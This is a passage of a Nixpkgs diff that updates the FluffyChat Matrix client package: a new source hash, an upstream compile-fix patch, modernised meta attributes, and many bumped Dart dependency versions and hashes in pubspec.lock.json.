     src = fetchFromGitHub {
       owner = "krille-chan";
       repo = "fluffychat";
       tag = "v${version}";
-      hash = "sha256-c7vSrJ8IYBMQ9JwyLFJGamlvKK7DVzh5y/sybDaibgI=";
+      hash = "sha256-kt4VpegxcZ+d0NIKan2A0AUqFLdYNcU9HY/4zyd2eSU=";
     };
 
+    # https://github.com/krille-chan/fluffychat/pull/1965
+    patches = [
+      (fetchpatch {
+        name = "fix_compilation_mxc_image.patch";
+        url = "https://github.com/krille-chan/fluffychat/commit/e1ec87d3aaae00eb030bcfda28ec8f247e2c3346.patch";
+        hash = "sha256-/cd3geNVPifAC7iTcx8V1l2WY9Y/mEw+VPl2B4HSJKY=";
+      })
+    ];
+
     inherit pubspecLock;
 
     gitHashes = {
+      flutter_secure_storage_linux = "sha256-cFNHW7dAaX8BV7arwbn68GgkkBeiAgPfhMOAFSJWlyY=";
       flutter_web_auth_2 = "sha256-3aci73SP8eXg6++IQTQoyS+erUUuSiuXymvR32sxHFw=";
       flutter_typeahead = "sha256-ZGXbbEeSddrdZOHcXE47h3Yu3w6oV7q+ZnO6GyW7Zg8=";
     };
 
     inherit targetFlutterPlatform;
 
-    meta = with lib; {
+    meta = {
       description = "Chat with your friends (matrix client)";
       homepage = "https://fluffychat.im/";
-      license = licenses.agpl3Plus;
+      license = lib.licenses.agpl3Plus;
       mainProgram = "fluffychat";
-      maintainers = with maintainers; [
+      maintainers = with lib.maintainers; [
         mkg20001
         tebriel
         aleksana
@@ -55,7 +66,7 @@ flutter327.buildFlutterApplication (
         "x86_64-linux"
         "aarch64-linux"
       ];
-      sourceProvenance = [ sourceTypes.fromSource ];
+      sourceProvenance = [ lib.sourceTypes.fromSource ];
       inherit (olm.meta) knownVulnerabilities;
     };
   }
@@ -89,7 +100,7 @@ flutter327.buildFlutterApplication (
       for size in 24 32 42 64 128 256 512; do
         D=$ICO/hicolor/''${s}x''${s}/apps
         mkdir -p $D
-        convert $FAV -resize ''${size}x''${size} $D/fluffychat.png
+        magick $FAV -resize ''${size}x''${size} $D/fluffychat.png
       done
 
       patchelf --add-rpath ${libwebrtcRpath} $out/app/fluffychat-linux/lib/libwebrtc.so
diff --git a/pkgs/by-name/fl/fluffychat/pubspec.lock.json b/pkgs/by-name/fl/fluffychat/pubspec.lock.json
index 9e4f1c88537b..40cb92441d26 100644
--- a/pkgs/by-name/fl/fluffychat/pubspec.lock.json
+++ b/pkgs/by-name/fl/fluffychat/pubspec.lock.json
@@ -50,11 +50,11 @@
       "dependency": "direct main",
       "description": {
         "name": "app_links",
-        "sha256": "433df2e61b10519407475d7f69e470789d23d593f28224c38ba1068597be7950",
+        "sha256": "85ed8fc1d25a76475914fff28cc994653bd900bc2c26e4b57a49e097febb54ba",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.3.3"
+      "version": "6.4.0"
     },
     "app_links_linux": {
       "dependency": "transitive",
@@ -100,31 +100,31 @@
       "dependency": "transitive",
       "description": {
         "name": "args",
-        "sha256": "7cf60b9f0cc88203c5a190b4cd62a99feea42759a7fa695010eb5de1c0b2252a",
+        "sha256": "d0481093c50b1da8910eb0bb301626d4d8eb7284aa739614d2b394ee09e3ea04",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.5.0"
+      "version": "2.7.0"
     },
     "async": {
       "dependency": "direct main",
       "description": {
         "name": "async",
-        "sha256": "d2872f9c19731c2e5f10444b14686eb7cc85c76274bd6c16e1816bff9a3bab63",
+        "sha256": "758e6d74e971c3e5aceb4110bfd6698efc7f501675bcfe0c775459a8140750eb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.12.0"
+      "version": "2.13.0"
     },
     "audio_session": {
       "dependency": "transitive",
       "description": {
         "name": "audio_session",
-        "sha256": "343e83bc7809fbda2591a49e525d6b63213ade10c76f15813be9aed6657b3261",
+        "sha256": "2b7fff16a552486d078bfc09a8cde19f426dc6d6329262b684182597bec5b1ac",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.1.21"
+      "version": "0.1.25"
     },
     "badges": {
       "dependency": "direct main",
@@ -200,11 +200,11 @@
       "dependency": "transitive",
       "description": {
         "name": "charcode",
-        "sha256": "fb98c0f6d12c920a02ee2d998da788bca066ca5f148492b7085ee23372b12306",
+        "sha256": "fb0f1107cac15a5ea6ef0a6ef71a807b9e4267c713bb93e00e92d737cc8dbd8a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.1"
+      "version": "1.4.0"
     },
     "checked_yaml": {
       "dependency": "transitive",
@@ -220,21 +220,31 @@
       "dependency": "direct main",
       "description": {
         "name": "chewie",
-        "sha256": "0bf6f7692cb65f7b8f59a2a17025b9cbe8f75ab4251e66161a4fc86162475fb6",
+        "sha256": "4d9554a8f87cc2dc6575dfd5ad20a4375015a29edd567fd6733febe6365e2566",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.11.0"
+      "version": "1.11.3"
+    },
+    "cli_config": {
+      "dependency": "transitive",
+      "description": {
+        "name": "cli_config",
+        "sha256": "ac20a183a07002b700f0c25e61b7ee46b23c309d76ab7b7640a028f18e4d99ec",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.2.0"
     },
     "cli_util": {
       "dependency": "transitive",
       "description": {
         "name": "cli_util",
-        "sha256": "c05b7406fdabc7a49a3929d4af76bcaccbbffcbcdcf185b082e1ae07da323d19",
+        "sha256": "ff6785f7e9e3c38ac98b2fb035701789de90154024a75b6cb926445e83197d1c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.4.1"
+      "version": "0.4.2"
     },
     "clock": {
       "dependency": "transitive",
@@ -280,21 +290,21 @@
       "dependency": "transitive",
       "description": {
         "name": "convert",
-        "sha256": "0f08b14755d163f6e2134cb58222dd25ea2a2ee8a195e53983d57c075324d592",
+        "sha256": "b30acd5944035672bc15c6b7a8b47d773e41e2f17de064350988c5d02adb1c68",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.1"
+      "version": "3.1.2"
     },
     "coverage": {
       "dependency": "transitive",
       "description": {
         "name": "coverage",
-        "sha256": "c1fb2dce3c0085f39dc72668e85f8e0210ec7de05345821ff58530567df345a5",
+        "sha256": "802bd084fb82e55df091ec8ad1553a7331b61c08251eef19a508b6f3f3a9858d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.9.2"
+      "version": "1.13.1"
     },
     "cross_file": {
       "dependency": "direct main",
@@ -310,21 +320,21 @@
       "dependency": "transitive",
       "description": {
         "name": "crypto",
-        "sha256": "ec30d999af904f33454ba22ed9a86162b35e52b44ac4807d1d93c288041d7d27",
+        "sha256": "1e445881f28f22d6140f181e07737b22f1e099a5e1ff94b0af2f9e4a463f4855",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.5"
+      "version": "3.0.6"
     },
     "csslib": {
       "dependency": "transitive",
       "description": {
         "name": "csslib",
-        "sha256": "831883fb353c8bdc1d71979e5b342c7d88acfbc643113c14ae51e2442ea0f20f",
+        "sha256": "09bad715f418841f976c77db72d5398dc1253c21fb9c0c7f0b0b985860b2d58e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.17.3"
+      "version": "1.0.2"
     },
     "cupertino_icons": {
       "dependency": "direct main",
@@ -340,21 +350,21 @@
       "dependency": "transitive",
       "description": {
         "name": "dart_webrtc",
-        "sha256": "e65506edb452148220efab53d8d2f8bb9d827bd8bcd53cf3a3e6df70b27f3d86",
+        "sha256": "5b76fd85ac95d6f5dee3e7d7de8d4b51bfbec1dc73804647c6aebb52d6297116",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.4.10"
+      "version": "1.5.3+hotfix.2"
     },
     "dbus": {
       "dependency": "transitive",
       "description": {
         "name": "dbus",
-        "sha256": "365c771ac3b0e58845f39ec6deebc76e3276aa9922b0cc60840712094d9047ac",
+        "sha256": "79e0c23480ff85dc68de79e2cd6334add97e48f7f4865d17686dd6ea81a47e8c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.10"
+      "version": "0.7.11"
     },
     "desktop_drop": {
       "dependency": "direct main",
@@ -390,11 +400,11 @@
       "dependency": "transitive",
       "description": {
         "name": "device_info_plus_platform_interface",
-        "sha256": "282d3cf731045a2feb66abfe61bbc40870ae50a3ed10a4d3d217556c35c8c2ba",
+        "sha256": "0b04e02b30791224b31969eb1b50d723498f402971bff3630bca2ba839bd1ed2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "7.0.1"
+      "version": "7.0.2"
     },
     "dynamic_color": {
       "dependency": "direct main",
@@ -440,21 +450,21 @@
       "dependency": "transitive",
       "description": {
         "name": "fake_async",
-        "sha256": "6a95e56b2449df2273fd8c45a662d6947ce1ebb7aafe80e550a3f68297f3cacc",
+        "sha256": "5368f224a74523e8d2e7399ea1638b37aecfca824a3cc4dfdf77bf1fa905ac44",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.2"
+      "version": "1.3.3"
     },
     "ffi": {
       "dependency": "transitive",
       "description": {
         "name": "ffi",
-        "sha256": "16ed7b077ef01ad6170a3d0c57caa4a112a38d7a2ed5602e0aca9ca6f3d98da6",
+        "sha256": "289279317b4b16eb2bb7e271abccd4bf84ec9bdcbe999e278a94b804f5630418",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.3"
+      "version": "2.1.4"
     },
     "file": {
       "dependency": "transitive",
@@ -470,11 +480,11 @@
       "dependency": "direct main",
       "description": {
         "name": "file_picker",
-        "sha256": "167bb619cdddaa10ef2907609feb8a79c16dfa479d3afaf960f8e223f754bf12",
+        "sha256": "ab13ae8ef5580a411c458d6207b6774a6c237d77ac37011b13994879f68a8810",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "8.1.2"
+      "version": "8.3.7"
     },
     "file_selector": {
       "dependency": "direct main",
@@ -490,11 +500,11 @@
       "dependency": "transitive",
       "description": {
         "name": "file_selector_android",
-        "sha256": "00aafa9ae05a8663d0b4f17abd2a02316911ca0f46f9b9dacb9578b324d99590",
+        "sha256": "6bba3d590ee9462758879741abc132a19133600dd31832f55627442f1ebd7b54",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.5.1+9"
+      "version": "0.5.1+14"
     },
     "file_selector_ios": {
       "dependency": "transitive",
@@ -510,11 +520,11 @@
       "dependency": "transitive",
       "description": {
         "name": "file_selector_linux",
-        "sha256": "712ce7fab537ba532c8febdb1a8f167b32441e74acd68c3ccb2e36dcb52c4ab2",
+        "sha256": "54cbbd957e1156d29548c7d9b9ec0c0ebb6de0a90452198683a7d23aed617a33",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.3"
+      "version": "0.9.3+2"
     },
     "file_selector_macos": {
       "dependency": "transitive",
@@ -550,21 +560,21 @@
       "dependency": "transitive",
       "description": {
         "name": "file_selector_windows",
-        "sha256": "8f5d2f6590d51ecd9179ba39c64f722edc15226cc93dcc8698466ad36a4a85a4",
+        "sha256": "320fcfb6f33caa90f0b58380489fc5ac05d99ee94b61aa96ec2bff0ba81d3c2b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.3+3"
+      "version": "0.9.3+4"
     },
     "fixnum": {
       "dependency": "transitive",
       "description": {
         "name": "fixnum",
-        "sha256": "25517a4deb0c03aa0f32fd12db525856438902d9c16536311e76cdc57b31d7d1",
+        "sha256": "b6dc7065e46c974bc7c5f143080a6764ec7a4be6da1285ececdc37be96de53be",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.1.1"
     },
     "flutter": {
       "dependency": "direct main",
@@ -738,11 +748,11 @@
       "dependency": "direct dev",
       "description": {
         "name": "flutter_native_splash",
-        "sha256": "aa06fec78de2190f3db4319dd60fdc8d12b2626e93ef9828633928c2dcaea840",
+        "sha256": "7062602e0dbd29141fb8eb19220b5871ca650be5197ab9c1f193a28b17537bc7",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.1"
+      "version": "2.4.4"
     },
     "flutter_new_badger": {
       "dependency": "direct main",
@@ -778,51 +788,52 @@
       "dependency": "transitive",
       "description": {
         "name": "flutter_plugin_android_lifecycle",
-        "sha256": "9b78450b89f059e96c9ebb355fa6b3df1d6b330436e0b885fb49594c41721398",
+        "sha256": "f948e346c12f8d5480d2825e03de228d0eb8c3a737e4cdaa122267b89c022b5e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.0.23"
+      "version": "2.0.28"
     },
     "flutter_secure_storage": {
       "dependency": "direct main",
       "description": {
         "name": "flutter_secure_storage",
-        "sha256": "165164745e6afb5c0e3e3fcc72a012fb9e58496fb26ffb92cf22e16a821e85d0",
+        "sha256": "9cad52d75ebc511adfae3d447d5d13da15a55a92c9410e50f67335b6d21d16ea",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "9.2.2"
+      "version": "9.2.4"
     },
     "flutter_secure_storage_linux": {
-      "dependency": "transitive",
+      "dependency": "direct overridden",
       "description": {
-        "name": "flutter_secure_storage_linux",
-        "sha256": "4d91bfc23047422cbcd73ac684bc169859ee766482517c22172c86596bf1464b",
-        "url": "https://pub.dev"
+        "path": "flutter_secure_storage_linux",
+        "ref": "patch-2",
+        "resolved-ref": "f076cbb65b075afd6e3b648122987a67306dc298",
+        "url": "https://github.com/m-berto/flutter_secure_storage.git"
       },
-      "source": "hosted",
-      "version": "1.2.1"
+      "source": "git",
+      "version": "2.0.1"
     },
     "flutter_secure_storage_macos": {
       "dependency": "transitive",
       "description": {
         "name": "flutter_secure_storage_macos",
-        "sha256": "1693ab11121a5f925bbea0be725abfcfbbcf36c1e29e571f84a0c0f436147a81",
+        "sha256": "6c0a2795a2d1de26ae202a0d78527d163f4acbb11cde4c75c670f3a0fc064247",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.2"
+      "version": "3.1.3"
     },
     "flutter_secure_storage_platform_interface": {
-      "dependency": "transitive",
+      "dependency": "direct overridden",
       "description": {
         "name": "flutter_secure_storage_platform_interface",
-        "sha256": "cf91ad32ce5adef6fba4d736a542baca9daf3beac4db2d04be350b87f69ac4a8",
+        "sha256": "b8337d3d52e429e6c0a7710e38cf9742a3bb05844bd927450eb94f80c11ef85d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.2"
+      "version": "2.0.0"
     },
     "flutter_secure_storage_web": {
       "dependency": "transitive",
@@ -902,11 +913,11 @@
       "dependency": "direct main",
       "description": {
         "name": "flutter_webrtc",
-        "sha256": "572df3de6c828e571db4b75b4a96a15c2f34fa3d420a84438f44a3158b22e81a",
+        "sha256": "b832dc76c0d1577f14aaf35e9c38d4ed7667cbc89c492b7bf4505d8d5f62e08b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.12.9"
+      "version": "0.12.12+hotfix.1"
     },
     "frontend_server_client": {
       "dependency": "transitive",
@@ -928,61 +939,61 @@
       "dependency": "direct main",
       "description": {
         "name": "geolocator",
-        "sha256": "0ec58b731776bc43097fcf751f79681b6a8f6d3bc737c94779fe9f1ad73c1a81",
+        "sha256": "f62bcd90459e63210bbf9c35deb6a51c521f992a78de19a1fe5c11704f9530e2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "13.0.1"
+      "version": "13.0.4"
     },
     "geolocator_android": {
       "dependency": "transitive",
       "description": {
         "name": "geolocator_android",
-        "sha256": "7aefc530db47d90d0580b552df3242440a10fe60814496a979aa67aa98b1fd47",
+        "sha256": "fcb1760a50d7500deca37c9a666785c047139b5f9ee15aa5469fae7dbbe3170d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.6.1"
+      "version": "4.6.2"
     },
     "geolocator_apple": {
       "dependency": "transitive",
       "description": {
         "name": "geolocator_apple",
-        "sha256": "bc2aca02423ad429cb0556121f56e60360a2b7d694c8570301d06ea0c00732fd",
+        "sha256": "dbdd8789d5aaf14cf69f74d4925ad1336b4433a6efdf2fce91e8955dc921bf22",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.7"
+      "version": "2.3.13"
     },
     "geolocator_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "geolocator_platform_interface",
-        "sha256": "386ce3d9cce47838355000070b1d0b13efb5bc430f8ecda7e9238c8409ace012",
+        "sha256": "30cb64f0b9adcc0fb36f628b4ebf4f731a2961a0ebd849f4b56200205056fe67",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.2.4"
+      "version": "4.2.6"
     },
     "geolocator_web": {
       "dependency": "transitive",
       "description": {
         "name": "geolocator_web",
-        "sha256": "2ed69328e05cd94e7eb48bb0535f5fc0c0c44d1c4fa1e9737267484d05c29b5e",
+        "sha256": "b1ae9bdfd90f861fde8fd4f209c37b953d65e92823cb73c7dee1fa021b06f172",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.1.1"
+      "version": "4.1.3"
     },
     "geolocator_windows": {
       "dependency": "transitive",
       "description": {
         "name": "geolocator_windows",
-        "sha256": "53da08937d07c24b0d9952eb57a3b474e29aae2abf9dd717f7e1230995f13f0e",
+        "sha256": "175435404d20278ffd220de83c2ca293b73db95eafbdc8131fe8609be1421eb6",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.3"
+      "version": "0.2.5"
     },
     "get_it": {
       "dependency": "transitive",
@@ -998,11 +1009,11 @@
       "dependency": "transitive",
       "description": {
         "name": "glob",
-        "sha256": "0e7014b3b7d4dac1ca4d6114f82bf1782ee86745b9b42a92c9289c23d8a0ab63",
+        "sha256": "c3f1ee72c96f8f78935e18aa8cecced9ab132419e8625dc187e1c2408efc20de",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.3"
     },
     "go_router": {
       "dependency": "direct main",
@@ -1068,11 +1079,11 @@
       "dependency": "direct main",
       "description": {
         "name": "html",
-        "sha256": "3a7812d5bcd2894edf53dfaf8cd640876cf6cef50a8f238745c8b8120ea74d3a",
+        "sha256": "6d1264f2dffa1b1101c25a91dff0dc2daee4c18e87cd8538729773c073dbf602",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.15.4"
+      "version": "0.15.6"
     },
     "html_unescape": {
       "dependency": "transitive",
@@ -1088,41 +1099,41 @@
       "dependency": "direct main",
       "description": {
         "name": "http",
-        "sha256": "b9c29a161230ee03d3ccf545097fccd9b87a5264228c5d348202e0f0c28f9010",
+        "sha256": "2c11f3f94c687ee9bad77c171151672986360b2b001d109814ee7140b2cf261b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.2"
+      "version": "1.4.0"
     },
     "http_multi_server": {
       "dependency": "transitive",
       "description": {
         "name": "http_multi_server",
-        "sha256": "97486f20f9c2f7be8f514851703d0119c3596d14ea63227af6f7a481ef2b2f8b",
+        "sha256": "aa6199f908078bb1c5efb8d8638d4ae191aac11b311132c3ef48ce352fb52ef8",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.2.1"
+      "version": "3.2.2"
     },
     "http_parser": {
       "dependency": "transitive",
       "description": {
         "name": "http_parser",
-        "sha256": "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b",
+        "sha256": "178d74305e7866013777bab2c3d8726205dc5a4dd935297175b19a23a2e66571",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.0.2"
+      "version": "4.1.2"
     },
     "image": {
       "dependency": "direct main",
       "description": {
         "name": "image",
-        "sha256": "2237616a36c0d69aef7549ab439b833fb7f9fb9fc861af2cc9ac3eedddd69ca8",
+        "sha256": "f31d52537dc417fdcde36088fdf11d191026fd5e4fae742491ebd40e5a8bea7d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.2.0"
+      "version": "4.3.0"
     },
     "image_picker": {
       "dependency": "direct main",
@@ -1138,61 +1149,61 @@
       "dependency": "transitive",
       "description": {
         "name": "image_picker_android",
-        "sha256": "d3e5e00fdfeca8fd4ffb3227001264d449cc8950414c2ff70b0e06b9c628e643",
+        "sha256": "317a5d961cec5b34e777b9252393f2afbd23084aa6e60fcf601dcf6341b9ebeb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.8.12+15"
+      "version": "0.8.12+23"
     },
     "image_picker_for_web": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_for_web",
-        "sha256": "65d94623e15372c5c51bebbcb820848d7bcb323836e12dfdba60b5d3a8b39e50",
+        "sha256": "717eb042ab08c40767684327be06a5d8dbb341fe791d514e4b92c7bbe1b7bb83",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.5"
+      "version": "3.0.6"
     },
     "image_picker_ios": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_ios",
-        "sha256": "6703696ad49f5c3c8356d576d7ace84d1faf459afb07accbb0fae780753ff447",
+        "sha256": "05da758e67bc7839e886b3959848aa6b44ff123ab4b28f67891008afe8ef9100",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.8.12"
+      "version": "0.8.12+2"
     },
     "image_picker_linux": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_linux",
-        "sha256": "4ed1d9bb36f7cd60aa6e6cd479779cc56a4cb4e4de8f49d487b1aaad831300fa",
+        "sha256": "34a65f6740df08bbbeb0a1abd8e6d32107941fd4868f67a507b25601651022c9",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.1+1"
+      "version": "0.2.1+2"
     },
     "image_picker_macos": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_macos",
-        "sha256": "3f5ad1e8112a9a6111c46d0b57a7be2286a9a07fc6e1976fdf5be2bd31d4ff62",
+        "sha256": "1b90ebbd9dcf98fb6c1d01427e49a55bd96b5d67b8c67cf955d60a5de74207c1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.1+1"
+      "version": "0.2.1+2"
     },
     "image_picker_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_platform_interface",
-        "sha256": "9ec26d410ff46f483c5519c29c02ef0e02e13a543f882b152d4bfd2f06802f80",
+        "sha256": "886d57f0be73c4b140004e78b9f28a8914a09e50c2d816bdd0520051a71236a0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.10.0"
+      "version": "2.10.1"
     },
     "image_picker_windows": {
       "dependency": "transitive",
@@ -1224,21 +1235,21 @@
       "dependency": "direct main",
       "description": {
         "name": "intl",
-        "sha256": "d6f56758b7d3014a48af9701c085700aac781a92a87a62b1333b46d8879661cf",
+        "sha256": "3df61194eb431efc39c4ceba583b95633a403f46c9fd341e550ce0bfa50e9aa5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.19.0"
+      "version": "0.20.2"
     },
     "io": {
       "dependency": "transitive",
       "description": {
         "name": "io",
-        "sha256": "2ec25704aba361659e10e3e5f5d672068d332fc8ac516421d483a11e5cbd061e",
+        "sha256": "dfd5a80599cf0165756e3181807ed3e77daf6dd4137caaad72d0b7931597650b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.4"
+      "version": "1.0.5"
     },
     "js": {
       "dependency": "transitive",
@@ -1264,31 +1275,31 @@
       "dependency": "direct main",
       "description": {
         "name": "just_audio",
-        "sha256": "b41646a8241688f1d99c2e69c4da2bb26aa4b3a99795f6ff205c2a165e033fda",
+        "sha256": "f978d5b4ccea08f267dae0232ec5405c1b05d3f3cd63f82097ea46c015d5c09e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.41"
+      "version": "0.9.46"
     },
     "just_audio_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "just_audio_platform_interface",
-        "sha256": "0243828cce503c8366cc2090cefb2b3c871aa8ed2f520670d76fd47aa1ab2790",
+        "sha256": "4cd94536af0219fa306205a58e78d67e02b0555283c1c094ee41e402a14a5c4a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.3.0"
+      "version": "4.5.0"
     },
     "just_audio_web": {
       "dependency": "transitive",
       "description": {
         "name": "just_audio_web",
-        "sha256": "9a98035b8b24b40749507687520ec5ab404e291d2b0937823ff45d92cb18d448",
+        "sha256": "6ba8a2a7e87d57d32f0f7b42856ade3d6a9fbe0f1a11fabae0a4f00bb73f0663",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.4.13"
+      "version": "0.4.16"
     },
     "latlong2": {
       "dependency": "direct main",
@@ -1304,11 +1315,11 @@
       "dependency": "transitive",
       "description": {
         "name": "leak_tracker",
-        "sha256": "c35baad643ba394b40aac41080300150a4f08fd0fd6a10378f8f7c6bc161acec",
+        "sha256": "6bb818ecbdffe216e81182c2f0714a2e62b593f4a4f13098713ff1685dfb6ab0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "10.0.8"
+      "version": "10.0.9"
     },
     "leak_tracker_flutter_testing": {
       "dependency": "transitive",
@@ -1374,21 +1385,21 @@
       "dependency": "transitive",
       "description": {
         "name": "logger",
-        "sha256": "697d067c60c20999686a0add96cf6aba723b3aa1f83ecf806a8097231529ec32",
+        "sha256": "be4b23575aac7ebf01f225a241eb7f6b5641eeaf43c6a8613510fc2f8cf187d1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.0"
+      "version": "2.5.0"
     },
     "logging": {
       "dependency": "transitive",
       "description": {
         "name": "logging",
-        "sha256": "623a88c9594aa774443aa3eb2d41807a48486b5613e67599fb4c41c0ad47c340",
+        "sha256": "c8245ada5f1717ed44271ed1c26b8ce85ca3228fd2ffdb75468ab01979309d61",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.0"
+      "version": "1.3.0"
     },
     "macros": {
       "dependency": "transitive",
@@ -1404,11 +1415,11 @@
       "dependency": "transitive",
       "description": {
         "name": "markdown",
-        "sha256": "ef2a1298144e3f985cc736b22e0ccdaf188b5b3970648f2d9dc13efd1d9df051",
+        "sha256": "935e23e1ff3bc02d390bad4d4be001208ee92cc217cb5b5a6c19bc14aaa318c1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "7.2.2"
+      "version": "7.3.0"
     },
     "matcher": {
       "dependency": "transitive",
@@ -1434,11 +1445,11 @@
       "dependency": "direct main",
       "description": {
         "name": "matrix",
-        "sha256": "7d15fdbc760be7e40c58bb65e03baa8241b1e31db2bc67dab61883aabc083a85",
+        "sha256": "f8f78700f967de4333a0c9ca609dac2ae05914a27faa60c5530026b7aca6ae78",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.40.0"
+      "version": "0.40.2"
     },
     "meta": {
       "dependency": "transitive",
@@ -1474,11 +1485,11 @@
       "dependency": "direct dev",
       "description": {
         "name": "msix",
-        "sha256": "c50d6bd1aafe0d071a3c1e5a5ccb056404502935cb0a549e3178c4aae16caf33",
+        "sha256": "edde648a8133bf301883c869d19d127049683037c65ff64173ba526ac7a8af2f",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.16.8"
+      "version": "3.16.9"
     },
     "native_imaging": {
       "dependency": "direct main",
@@ -1534,31 +1545,31 @@
       "dependency": "transitive",
       "description": {
         "name": "package_config",
-        "sha256": "1c5b77ccc91e4823a5af61ee74e6b972db1ef98c2ff5a18d3161c982a55448bd",
+        "sha256": "f096c55ebb7deb7e384101542bfba8c52696c1b56fca2eb62827989ef2353bbc",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.0"
+      "version": "2.2.0"
     },
     "package_info_plus": {
       "dependency": "direct main",
       "description": {
         "name": "package_info_plus",
-        "sha256": "a75164ade98cb7d24cfd0a13c6408927c6b217fa60dee5a7ff5c116a58f28918",
+        "sha256": "7976bfe4c583170d6cdc7077e3237560b364149fcd268b5f53d95a991963b191",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "8.0.2"
+      "version": "8.3.0"
     },
     "package_info_plus_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "package_info_plus_platform_interface",
-        "sha256": "ac1f4a4847f1ade8e6a87d1f39f5d7c67490738642e2542f559ec38c37489a66",
+        "sha256": "6c935fb612dff8e3cc9632c2b301720c77450a126114126ffaafe28d2e87956c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.1"
+      "version": "3.2.0"
     },
     "pana": {
       "dependency": "transitive",
@@ -1594,31 +1605,31 @@
       "dependency": "direct main",
       "description": {
         "name": "path_provider",
-        "sha256": "fec0d61223fba3154d87759e3cc27fe2c8dc498f6386c6d6fc80d1afdd1bf378",
+        "sha256": "50c5dd5b6e1aaf6fb3a78b33f6aa3afca52bf903a8a5298f53101fdaee55bbcd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.4"
+      "version": "2.1.5"
     },
     "path_provider_android": {
       "dependency": "transitive",
       "description": {
         "name": "path_provider_android",
-        "sha256": "f7544c346a0742aee1450f9e5c0f5269d7c602b9c95fdbcd9fb8f5b1df13b1cc",
+        "sha256": "d0d310befe2c8ab9e7f393288ccbb11b60c019c6b5afc21973eeee4dda2b35e9",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.11"
+      "version": "2.2.17"
     },
     "path_provider_foundation": {
       "dependency": "transitive",
       "description": {
         "name": "path_provider_foundation",
-        "sha256": "f234384a3fdd67f989b4d54a5d73ca2a6c422fa55ae694381ae0f4375cd1ea16",
+        "sha256": "4843174df4d288f5e29185bd6e72a6fbdf5a4a4602717eed565497429f179942",
